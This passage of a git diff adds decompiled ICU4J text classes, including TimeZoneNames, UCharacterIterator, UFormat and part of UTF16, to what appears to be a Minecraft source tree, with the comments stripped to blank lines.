+
+
+
+
+
+
+
+
+    if ((_tznames instanceof TimeZoneNamesImpl)) {
+      _tznames = TimeZoneNames.getInstance(_locale);
+      _gnames = null;
+    }
+    else
+    {
+      _gnames = new TimeZoneGenericNames(_locale, _tznames);
+    }
+    
+
+    initGMTPattern(_gmtPattern);
+    initGMTOffsetPatterns(_gmtOffsetPatterns);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean isFrozen()
+  {
+    return _frozen;
+  }
+  
+
+
+
+
+  public TimeZoneFormat freeze()
+  {
+    _frozen = true;
+    return this;
+  }
+  
+
+
+
+
+  public TimeZoneFormat cloneAsThawed()
+  {
+    TimeZoneFormat copy = (TimeZoneFormat)super.clone();
+    _frozen = false;
+    return copy;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/TimeZoneNames.java b/src/minecraft/com/ibm/icu/text/TimeZoneNames.java
new file mode 100644
index 0000000..67b0532
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/TimeZoneNames.java
@@ -0,0 +1,563 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.ICUConfig;
+import com.ibm.icu.impl.SoftCache;
+import com.ibm.icu.impl.TimeZoneNamesImpl;
+import com.ibm.icu.util.ULocale;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.EnumSet;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TimeZoneNames
+  implements Serializable
+{
+  private static final long serialVersionUID = -9180227029248969153L;
+  
+  public static enum NameType
+  {
+    LONG_GENERIC, 
+    
+
+
+
+
+
+    LONG_STANDARD, 
+    
+
+
+
+
+
+    LONG_DAYLIGHT, 
+    
+
+
+
+
+
+    SHORT_GENERIC, 
+    
+
+
+
+
+
+    SHORT_STANDARD, 
+    
+
+
+
+
+
+    SHORT_DAYLIGHT, 
+    
+
+
+
+
+
+    EXEMPLAR_LOCATION;
+    
+    private NameType() {} }
+  private static Cache TZNAMES_CACHE = new Cache(null);
+  private static final Factory TZNAMES_FACTORY;
+  private static final String FACTORY_NAME_PROP = "com.ibm.icu.text.TimeZoneNames.Factory.impl";
+  private static final String DEFAULT_FACTORY_CLASS = "com.ibm.icu.impl.TimeZoneNamesFactoryImpl";
+  
+  static
+  {
+    Factory factory = null;
+    String classname = ICUConfig.get("com.ibm.icu.text.TimeZoneNames.Factory.impl", "com.ibm.icu.impl.TimeZoneNamesFactoryImpl");
+    for (;;) {
+      try {
+        factory = (Factory)Class.forName(classname).newInstance();
+      }
+      catch (ClassNotFoundException cnfe) {}catch (IllegalAccessException iae) {}catch (InstantiationException ie) {}
+      
+
+
+
+
+
+      if (classname.equals("com.ibm.icu.impl.TimeZoneNamesFactoryImpl")) {
+        break;
+      }
+      classname = "com.ibm.icu.impl.TimeZoneNamesFactoryImpl";
+    }
+    
+    if (factory == null) {
+      factory = new TimeZoneNames.DefaultTimeZoneNames.FactoryImpl();
+    }
+    TZNAMES_FACTORY = factory;
+  }
+  
+
+
+
+
+
+
+
+
+  public static TimeZoneNames getInstance(ULocale locale)
+  {
+    String key = locale.getBaseName();
+    return (TimeZoneNames)TZNAMES_CACHE.getInstance(key, locale);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final String getDisplayName(String tzID, NameType type, long date)
+  {
+    String name = getTimeZoneDisplayName(tzID, type);
+    if (name == null) {
+      String mzID = getMetaZoneID(tzID, date);
+      name = getMetaZoneDisplayName(mzID, type);
+    }
+    return name;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getExemplarLocationName(String tzID)
+  {
+    return TimeZoneNamesImpl.getDefaultExemplarLocationName(tzID);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public Collection<MatchInfo> find(CharSequence text, int start, EnumSet<NameType> types)
+  {
+    throw new UnsupportedOperationException("The method is not implemented in TimeZoneNames base class.");
+  }
+  
+
+  public abstract Set<String> getAvailableMetaZoneIDs();
+  
+
+  public abstract Set<String> getAvailableMetaZoneIDs(String paramString);
+  
+
+  public abstract String getMetaZoneID(String paramString, long paramLong);
+  
+
+  public abstract String getReferenceZoneID(String paramString1, String paramString2);
+  
+  public abstract String getMetaZoneDisplayName(String paramString, NameType paramNameType);
+  
+  public abstract String getTimeZoneDisplayName(String paramString, NameType paramNameType);
+  
+  protected TimeZoneNames() {}
+  
+  public static class MatchInfo
+  {
+    private TimeZoneNames.NameType _nameType;
+    private String _tzID;
+    private String _mzID;
+    private int _matchLength;
+    
+    public MatchInfo(TimeZoneNames.NameType nameType, String tzID, String mzID, int matchLength)
+    {
+      if (nameType == null) {
+        throw new IllegalArgumentException("nameType is null");
+      }
+      if ((tzID == null) && (mzID == null)) {
+        throw new IllegalArgumentException("Either tzID or mzID must be available");
+      }
+      if (matchLength <= 0) {
+        throw new IllegalArgumentException("matchLength must be positive value");
+      }
+      _nameType = nameType;
+      _tzID = tzID;
+      _mzID = mzID;
+      _matchLength = matchLength;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    public String tzID()
+    {
+      return _tzID;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    public String mzID()
+    {
+      return _mzID;
+    }
+    
+
+
+
+
+
+
+    public TimeZoneNames.NameType nameType()
+    {
+      return _nameType;
+    }
+    
+
+
+
+
+
+    public int matchLength()
+    {
+      return _matchLength;
+    }
+  }
+  
+
+
+
+
+
+
+  public static abstract class Factory
+  {
+    public Factory() {}
+    
+
+
+
+
+
+
+    public abstract TimeZoneNames getTimeZoneNames(ULocale paramULocale);
+  }
+  
+
+
+
+
+
+
+  private static class Cache
+    extends SoftCache<String, TimeZoneNames, ULocale>
+  {
+    private Cache() {}
+    
+
+
+
+
+
+
+    protected TimeZoneNames createInstance(String key, ULocale data)
+    {
+      return TimeZoneNames.TZNAMES_FACTORY.getTimeZoneNames(data);
+    }
+  }
+  
+
+
+
+  private static class DefaultTimeZoneNames
+    extends TimeZoneNames
+  {
+    private static final long serialVersionUID = -995672072494349071L;
+    
+
+
+    public static final DefaultTimeZoneNames INSTANCE = new DefaultTimeZoneNames();
+    
+
+    private DefaultTimeZoneNames() {}
+    
+    public Set<String> getAvailableMetaZoneIDs()
+    {
+      return Collections.emptySet();
+    }
+    
+
+
+
+    public Set<String> getAvailableMetaZoneIDs(String tzID)
+    {
+      return Collections.emptySet();
+    }
+    
+
+
+
+
+
+    public String getMetaZoneID(String tzID, long date)
+    {
+      return null;
+    }
+    
+
+
+
+
+
+    public String getReferenceZoneID(String mzID, String region)
+    {
+      return null;
+    }
+    
+
+
+
+
+    public String getMetaZoneDisplayName(String mzID, TimeZoneNames.NameType type)
+    {
+      return null;
+    }
+    
+
+
+
+
+    public String getTimeZoneDisplayName(String tzID, TimeZoneNames.NameType type)
+    {
+      return null;
+    }
+    
+
+
+
+    public Collection<TimeZoneNames.MatchInfo> find(CharSequence text, int start, EnumSet<TimeZoneNames.NameType> nameTypes)
+    {
+      return Collections.emptyList();
+    }
+    
+
+
+
+    public static class FactoryImpl
+      extends TimeZoneNames.Factory
+    {
+      public FactoryImpl() {}
+      
+
+
+
+      public TimeZoneNames getTimeZoneNames(ULocale locale)
+      {
+        return TimeZoneNames.DefaultTimeZoneNames.INSTANCE;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/Transform.java b/src/minecraft/com/ibm/icu/text/Transform.java
new file mode 100644
index 0000000..65159cb
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/Transform.java
@@ -0,0 +1,6 @@
+package com.ibm.icu.text;
+
+public abstract interface Transform<S, D>
+{
+  public abstract D transform(S paramS);
+}
diff --git a/src/minecraft/com/ibm/icu/text/UCharacterIterator.java b/src/minecraft/com/ibm/icu/text/UCharacterIterator.java
new file mode 100644
index 0000000..583ac89
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/UCharacterIterator.java
@@ -0,0 +1,407 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.CharacterIteratorWrapper;
+import com.ibm.icu.impl.ReplaceableUCharacterIterator;
+import com.ibm.icu.impl.UCharArrayIterator;
+import com.ibm.icu.impl.UCharacterIteratorWrapper;
+import com.ibm.icu.impl.UCharacterProperty;
+import java.text.CharacterIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class UCharacterIterator
+  implements Cloneable, UForwardCharacterIterator
+{
+  protected UCharacterIterator() {}
+  
+  public static final UCharacterIterator getInstance(Replaceable source)
+  {
+    return new ReplaceableUCharacterIterator(source);
+  }
+  
+
+
+
+
+
+
+
+  public static final UCharacterIterator getInstance(String source)
+  {
+    return new ReplaceableUCharacterIterator(source);
+  }
+  
+
+
+
+
+
+
+
+  public static final UCharacterIterator getInstance(char[] source)
+  {
+    return getInstance(source, 0, source.length);
+  }
+  
+
+
+
+
+
+
+
+  public static final UCharacterIterator getInstance(char[] source, int start, int limit)
+  {
+    return new UCharArrayIterator(source, start, limit);
+  }
+  
+
+
+
+
+
+
+  public static final UCharacterIterator getInstance(StringBuffer source)
+  {
+    return new ReplaceableUCharacterIterator(source);
+  }
+  
+
+
+
+
+
+
+
+  public static final UCharacterIterator getInstance(CharacterIterator source)
+  {
+    return new CharacterIteratorWrapper(source);
+  }
+  
+
+
+
+
+
+
+
+  public CharacterIterator getCharacterIterator()
+  {
+    return new UCharacterIteratorWrapper(this);
+  }
+  
+
+
+
+
+
+
+
+  public abstract int current();
+  
+
+
+
+
+
+
+
+  public int currentCodePoint()
+  {
+    int ch = current();
+    if (UTF16.isLeadSurrogate((char)ch))
+    {
+
+      next();
+      
+
+
+      int ch2 = current();
+      
+
+      previous();
+      
+      if (UTF16.isTrailSurrogate((char)ch2))
+      {
+
+        return UCharacterProperty.getRawSupplementary((char)ch, (char)ch2);
+      }
+    }
+    
+
+    return ch;
+  }
+  
+
+
+
+
+
+
+
+
+  public abstract int getLength();
+  
+
+
+
+
+
+
+
+
+  public abstract int getIndex();
+  
+
+
+
+
+
+
+
+
+  public abstract int next();
+  
+
+
+
+
+
+
+
+  public int nextCodePoint()
+  {
+    int ch1 = next();
+    if (UTF16.isLeadSurrogate((char)ch1)) {
+      int ch2 = next();
+      if (UTF16.isTrailSurrogate((char)ch2)) {
+        return UCharacterProperty.getRawSupplementary((char)ch1, (char)ch2);
+      }
+      if (ch2 != -1)
+      {
+        previous();
+      }
+    }
+    return ch1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public abstract int previous();
+  
+
+
+
+
+
+
+
+
+
+
+  public int previousCodePoint()
+  {
+    int ch1 = previous();
+    if (UTF16.isTrailSurrogate((char)ch1)) {
+      int ch2 = previous();
+      if (UTF16.isLeadSurrogate((char)ch2)) {
+        return UCharacterProperty.getRawSupplementary((char)ch2, (char)ch1);
+      }
+      if (ch2 != -1)
+      {
+        next();
+      }
+    }
+    return ch1;
+  }
+  
+
+
+
+
+
+  public abstract void setIndex(int paramInt);
+  
+
+
+
+
+
+  public void setToLimit()
+  {
+    setIndex(getLength());
+  }
+  
+
+
+
+  public void setToStart()
+  {
+    setIndex(0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract int getText(char[] paramArrayOfChar, int paramInt);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final int getText(char[] fillIn)
+  {
+    return getText(fillIn, 0);
+  }
+  
+
+
+
+
+  public String getText()
+  {
+    char[] text = new char[getLength()];
+    getText(text);
+    return new String(text);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int moveIndex(int delta)
+  {
+    int x = Math.max(0, Math.min(getIndex() + delta, getLength()));
+    setIndex(x);
+    return x;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int moveCodePointIndex(int delta)
+  {
+    if (delta > 0) {
+      while ((delta > 0) && (nextCodePoint() != -1)) delta--;
+    }
+    while ((delta < 0) && (previousCodePoint() != -1)) { delta++;
+    }
+    if (delta != 0) {
+      throw new IndexOutOfBoundsException();
+    }
+    
+    return getIndex();
+  }
+  
+
+
+
+
+  public Object clone()
+    throws CloneNotSupportedException
+  {
+    return super.clone();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/UFormat.java b/src/minecraft/com/ibm/icu/text/UFormat.java
new file mode 100644
index 0000000..d809e37
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/UFormat.java
@@ -0,0 +1,93 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Type;
+import java.text.Format;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class UFormat
+  extends Format
+{
+  private static final long serialVersionUID = -4964390515840164416L;
+  private ULocale validLocale;
+  private ULocale actualLocale;
+  
+  public UFormat() {}
+  
+  public final ULocale getLocale(ULocale.Type type)
+  {
+    return type == ULocale.ACTUAL_LOCALE ? actualLocale : validLocale;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  final void setLocale(ULocale valid, ULocale actual)
+  {
+    if ((valid == null ? 1 : 0) != (actual == null ? 1 : 0))
+    {
+      throw new IllegalArgumentException();
+    }
+    
+
+
+    validLocale = valid;
+    actualLocale = actual;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/UForwardCharacterIterator.java b/src/minecraft/com/ibm/icu/text/UForwardCharacterIterator.java
new file mode 100644
index 0000000..c2a76a5
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/UForwardCharacterIterator.java
@@ -0,0 +1,10 @@
+package com.ibm.icu.text;
+
+public abstract interface UForwardCharacterIterator
+{
+  public static final int DONE = -1;
+  
+  public abstract int next();
+  
+  public abstract int nextCodePoint();
+}
diff --git a/src/minecraft/com/ibm/icu/text/UTF16.java b/src/minecraft/com/ibm/icu/text/UTF16.java
new file mode 100644
index 0000000..c723ea9
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/UTF16.java
@@ -0,0 +1,2662 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.UCharacterProperty;
+import java.util.Comparator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UTF16
+{
+  public static final int SINGLE_CHAR_BOUNDARY = 1;
+  public static final int LEAD_SURROGATE_BOUNDARY = 2;
+  public static final int TRAIL_SURROGATE_BOUNDARY = 5;
+  public static final int CODEPOINT_MIN_VALUE = 0;
+  public static final int CODEPOINT_MAX_VALUE = 1114111;
+  public static final int SUPPLEMENTARY_MIN_VALUE = 65536;
+  public static final int LEAD_SURROGATE_MIN_VALUE = 55296;
+  public static final int TRAIL_SURROGATE_MIN_VALUE = 56320;
+  public static final int LEAD_SURROGATE_MAX_VALUE = 56319;
+  public static final int TRAIL_SURROGATE_MAX_VALUE = 57343;
+  public static final int SURROGATE_MIN_VALUE = 55296;
+  public static final int SURROGATE_MAX_VALUE = 57343;
+  private static final int LEAD_SURROGATE_BITMASK = -1024;
+  private static final int TRAIL_SURROGATE_BITMASK = -1024;
+  private static final int SURROGATE_BITMASK = -2048;
+  private static final int LEAD_SURROGATE_BITS = 55296;
+  private static final int TRAIL_SURROGATE_BITS = 56320;
+  private static final int SURROGATE_BITS = 55296;
+  private static final int LEAD_SURROGATE_SHIFT_ = 10;
+  private static final int TRAIL_SURROGATE_MASK_ = 1023;
+  private static final int LEAD_SURROGATE_OFFSET_ = 55232;
+  
+  private UTF16() {}
+  
+  public static int charAt(String source, int offset16)
+  {
+    char single = source.charAt(offset16);
+    if (single < 55296) {
+      return single;
+    }
+    return _charAt(source, offset16, single);
+  }
+  
+  private static int _charAt(String source, int offset16, char single) {
+    if (single > 57343) {
+      return single;
+    }
+    
+
+
+
+
+    if (single <= 56319) {
+      offset16++;
+      if (source.length() != offset16) {
+        char trail = source.charAt(offset16);
+        if ((trail >= 56320) && (trail <= 57343)) {
+          return UCharacterProperty.getRawSupplementary(single, trail);
+        }
+      }
+    } else {
+      offset16--;
+      if (offset16 >= 0)
+      {
+        char lead = source.charAt(offset16);
+        if ((lead >= 55296) && (lead <= 56319)) {
+          return UCharacterProperty.getRawSupplementary(lead, single);
+        }
+      }
+    }
+    return single;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int charAt(CharSequence source, int offset16)
+  {
+    char single = source.charAt(offset16);
+    if (single < 55296) {
+      return single;
+    }
+    return _charAt(source, offset16, single);
+  }
+  
+  private static int _charAt(CharSequence source, int offset16, char single) {
+    if (single > 57343) {
+      return single;
+    }
+    
+
+
+
+
+    if (single <= 56319) {
+      offset16++;
+      if (source.length() != offset16) {
+        char trail = source.charAt(offset16);
+        if ((trail >= 56320) && (trail <= 57343))
+        {
+          return UCharacterProperty.getRawSupplementary(single, trail);
+        }
+      }
+    } else {
+      offset16--;
+      if (offset16 >= 0)
+      {
+        char lead = source.charAt(offset16);
+        if ((lead >= 55296) && (lead <= 56319))
+        {
+          return UCharacterProperty.getRawSupplementary(lead, single);
+        }
+      }
+    }
+    return single;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int charAt(StringBuffer source, int offset16)
+  {
+    if ((offset16 < 0) || (offset16 >= source.length())) {
+      throw new StringIndexOutOfBoundsException(offset16);
+    }
+    
+    char single = source.charAt(offset16);
+    if (!isSurrogate(single)) {
+      return single;
+    }
+    
+
+
+
+
+    if (single <= 56319) {
+      offset16++;
+      if (source.length() != offset16) {
+        char trail = source.charAt(offset16);
+        if (isTrailSurrogate(trail))
+          return UCharacterProperty.getRawSupplementary(single, trail);
+      }
+    } else {
+      offset16--;
+      if (offset16 >= 0)
+      {
+        char lead = source.charAt(offset16);
+        if (isLeadSurrogate(lead)) {
+          return UCharacterProperty.getRawSupplementary(lead, single);
+        }
+      }
+    }
+    return single;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int charAt(char[] source, int start, int limit, int offset16)
+  {
+    offset16 += start;
+    if ((offset16 < start) || (offset16 >= limit)) {
+      throw new ArrayIndexOutOfBoundsException(offset16);
+    }
+    
+    char single = source[offset16];
+    if (!isSurrogate(single)) {
+      return single;
+    }
+    
+
+
+
+    if (single <= 56319) {
+      offset16++;
+      if (offset16 >= limit) {
+        return single;
+      }
+      char trail = source[offset16];
+      if (isTrailSurrogate(trail)) {
+        return UCharacterProperty.getRawSupplementary(single, trail);
+      }
+    } else {
+      if (offset16 == start) {
+        return single;
+      }
+      offset16--;
+      char lead = source[offset16];
+      if (isLeadSurrogate(lead))
+        return UCharacterProperty.getRawSupplementary(lead, single);
+    }
+    return single;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int charAt(Replaceable source, int offset16)
+  {
+    if ((offset16 < 0) || (offset16 >= source.length())) {
+      throw new StringIndexOutOfBoundsException(offset16);
+    }
+    
+    char single = source.charAt(offset16);
+    if (!isSurrogate(single)) {
+      return single;
+    }
+    
+
+
+
+
+    if (single <= 56319) {
+      offset16++;
+      if (source.length() != offset16) {
+        char trail = source.charAt(offset16);
+        if (isTrailSurrogate(trail))
+          return UCharacterProperty.getRawSupplementary(single, trail);
+      }
+    } else {
+      offset16--;
+      if (offset16 >= 0)
+      {
+        char lead = source.charAt(offset16);
+        if (isLeadSurrogate(lead)) {
+          return UCharacterProperty.getRawSupplementary(lead, single);
+        }
+      }
+    }
+    return single;
+  }
+  
+
+
+
+
+
+
+
+
+  public static int getCharCount(int char32)
+  {
+    if (char32 < 65536) {
+      return 1;
+    }
+    return 2;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int bounds(String source, int offset16)
+  {
+    char ch = source.charAt(offset16);
+    if (isSurrogate(ch)) {
+      if (isLeadSurrogate(ch)) {
+        offset16++; if ((offset16 < source.length()) && (isTrailSurrogate(source.charAt(offset16)))) {
+          return 2;
+        }
+      }
+      else {
+        offset16--;
+        if ((offset16 >= 0) && (isLeadSurrogate(source.charAt(offset16)))) {
+          return 5;
+        }
+      }
+    }
+    return 1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int bounds(StringBuffer source, int offset16)
+  {
+    char ch = source.charAt(offset16);
+    if (isSurrogate(ch)) {
+      if (isLeadSurrogate(ch)) {
+        offset16++; if ((offset16 < source.length()) && (isTrailSurrogate(source.charAt(offset16)))) {
+          return 2;
+        }
+      }
+      else {
+        offset16--;
+        if ((offset16 >= 0) && (isLeadSurrogate(source.charAt(offset16)))) {
+          return 5;
+        }
+      }
+    }
+    return 1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int bounds(char[] source, int start, int limit, int offset16)
+  {
+    offset16 += start;
+    if ((offset16 < start) || (offset16 >= limit)) {
+      throw new ArrayIndexOutOfBoundsException(offset16);
+    }
+    char ch = source[offset16];
+    if (isSurrogate(ch)) {
+      if (isLeadSurrogate(ch)) {
+        offset16++;
+        if ((offset16 < limit) && (isTrailSurrogate(source[offset16]))) {
+          return 2;
+        }
+      } else {
+        offset16--;
+        if ((offset16 >= start) && (isLeadSurrogate(source[offset16]))) {
+          return 5;
+        }
+      }
+    }
+    return 1;
+  }
+  
+
+
+
+
+
+
+  public static boolean isSurrogate(char char16)
+  {
+    return (char16 & 0xF800) == 55296;
+  }
+  
+
+
+
+
+
+
+  public static boolean isTrailSurrogate(char char16)
+  {
+    return (char16 & 0xFC00) == 56320;
+  }
+  
+
+
+
+
+
+
+  public static boolean isLeadSurrogate(char char16)
+  {
+    return (char16 & 0xFC00) == 55296;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static char getLeadSurrogate(int char32)
+  {
+    if (char32 >= 65536) {
+      return (char)(55232 + (char32 >> 10));
+    }
+    return '\000';
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static char getTrailSurrogate(int char32)
+  {
+    if (char32 >= 65536) {
+      return (char)(56320 + (char32 & 0x3FF));
+    }
+    return (char)char32;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String valueOf(int char32)
+  {
+    if ((char32 < 0) || (char32 > 1114111)) {
+      throw new IllegalArgumentException("Illegal codepoint");
+    }
+    return toString(char32);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String valueOf(String source, int offset16)
+  {
+    switch (bounds(source, offset16)) {
+    case 2: 
+      return source.substring(offset16, offset16 + 2);
+    case 5: 
+      return source.substring(offset16 - 1, offset16 + 1);
+    }
+    return source.substring(offset16, offset16 + 1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String valueOf(StringBuffer source, int offset16)
+  {
+    switch (bounds(source, offset16)) {
+    case 2: 
+      return source.substring(offset16, offset16 + 2);
+    case 5: 
+      return source.substring(offset16 - 1, offset16 + 1);
+    }
+    return source.substring(offset16, offset16 + 1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String valueOf(char[] source, int start, int limit, int offset16)
+  {
+    switch (bounds(source, start, limit, offset16)) {
+    case 2: 
+      return new String(source, start + offset16, 2);
+    case 5: 
+      return new String(source, start + offset16 - 1, 2);
+    }
+    return new String(source, start + offset16, 1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int findOffsetFromCodePoint(String source, int offset32)
+  {
+    int size = source.length();int result = 0;int count = offset32;
+    if ((offset32 < 0) || (offset32 > size)) {
+      throw new StringIndexOutOfBoundsException(offset32);
+    }
+    while ((result < size) && (count > 0)) {
+      char ch = source.charAt(result);
+      if ((isLeadSurrogate(ch)) && (result + 1 < size) && (isTrailSurrogate(source.charAt(result + 1))))
+      {
+        result++;
+      }
+      
+      count--;
+      result++;
+    }
+    if (count != 0) {
+      throw new StringIndexOutOfBoundsException(offset32);
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int findOffsetFromCodePoint(StringBuffer source, int offset32)
+  {
+    int size = source.length();int result = 0;int count = offset32;
+    if ((offset32 < 0) || (offset32 > size)) {
+      throw new StringIndexOutOfBoundsException(offset32);
+    }
+    while ((result < size) && (count > 0)) {
+      char ch = source.charAt(result);
+      if ((isLeadSurrogate(ch)) && (result + 1 < size) && (isTrailSurrogate(source.charAt(result + 1))))
+      {
+        result++;
+      }
+      
+      count--;
+      result++;
+    }
+    if (count != 0) {
+      throw new StringIndexOutOfBoundsException(offset32);
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int findOffsetFromCodePoint(char[] source, int start, int limit, int offset32)
+  {
+    int result = start;int count = offset32;
+    if (offset32 > limit - start) {
+      throw new ArrayIndexOutOfBoundsException(offset32);
+    }
+    while ((result < limit) && (count > 0)) {
+      char ch = source[result];
+      if ((isLeadSurrogate(ch)) && (result + 1 < limit) && (isTrailSurrogate(source[(result + 1)])))
+      {
+        result++;
+      }
+      
+      count--;
+      result++;
+    }
+    if (count != 0) {
+      throw new ArrayIndexOutOfBoundsException(offset32);
+    }
+    return result - start;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int findCodePointOffset(String source, int offset16)
+  {
+    if ((offset16 < 0) || (offset16 > source.length())) {
+      throw new StringIndexOutOfBoundsException(offset16);
+    }
+    
+    int result = 0;
+    
+    boolean hadLeadSurrogate = false;
+    
+    for (int i = 0; i < offset16; i++) {
+      char ch = source.charAt(i);
+      if ((hadLeadSurrogate) && (isTrailSurrogate(ch))) {
+        hadLeadSurrogate = false;
+      } else {
+        hadLeadSurrogate = isLeadSurrogate(ch);
+        result++;
+      }
+    }
+    
+    if (offset16 == source.length()) {
+      return result;
+    }
+    
+
+
+    if ((hadLeadSurrogate) && (isTrailSurrogate(source.charAt(offset16)))) {
+      result--;
+    }
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int findCodePointOffset(StringBuffer source, int offset16)
+  {
+    if ((offset16 < 0) || (offset16 > source.length())) {
+      throw new StringIndexOutOfBoundsException(offset16);
+    }
+    
+    int result = 0;
+    
+    boolean hadLeadSurrogate = false;
+    
+    for (int i = 0; i < offset16; i++) {
+      char ch = source.charAt(i);
+      if ((hadLeadSurrogate) && (isTrailSurrogate(ch))) {
+        hadLeadSurrogate = false;
+      } else {
+        hadLeadSurrogate = isLeadSurrogate(ch);
+        result++;
+      }
+    }
+    
+    if (offset16 == source.length()) {
+      return result;
+    }
+    
+
+
+    if ((hadLeadSurrogate) && (isTrailSurrogate(source.charAt(offset16)))) {
+      result--;
+    }
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int findCodePointOffset(char[] source, int start, int limit, int offset16)
+  {
+    offset16 += start;
+    if (offset16 > limit) {
+      throw new StringIndexOutOfBoundsException(offset16);
+    }
+    
+    int result = 0;
+    
+    boolean hadLeadSurrogate = false;
+    
+    for (int i = start; i < offset16; i++) {
+      char ch = source[i];
+      if ((hadLeadSurrogate) && (isTrailSurrogate(ch))) {
+        hadLeadSurrogate = false;
+      } else {
+        hadLeadSurrogate = isLeadSurrogate(ch);
+        result++;
+      }
+    }
+    
+    if (offset16 == limit) {
+      return result;
+    }
+    
+
+
+    if ((hadLeadSurrogate) && (isTrailSurrogate(source[offset16]))) {
+      result--;
+    }
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static StringBuffer append(StringBuffer target, int char32)
+  {
+    if ((char32 < 0) || (char32 > 1114111)) {
+      throw new IllegalArgumentException("Illegal codepoint: " + Integer.toHexString(char32));
+    }
+    
+
+    if (char32 >= 65536) {
+      target.append(getLeadSurrogate(char32));
+      target.append(getTrailSurrogate(char32));
+    } else {
+      target.append((char)char32);
+    }
+    return target;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static StringBuffer appendCodePoint(StringBuffer target, int cp)
+  {
+    return append(target, cp);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static int append(char[] target, int limit, int char32)
+  {
+    if ((char32 < 0) || (char32 > 1114111)) {
+      throw new IllegalArgumentException("Illegal codepoint");
+    }
+    
+    if (char32 >= 65536) {
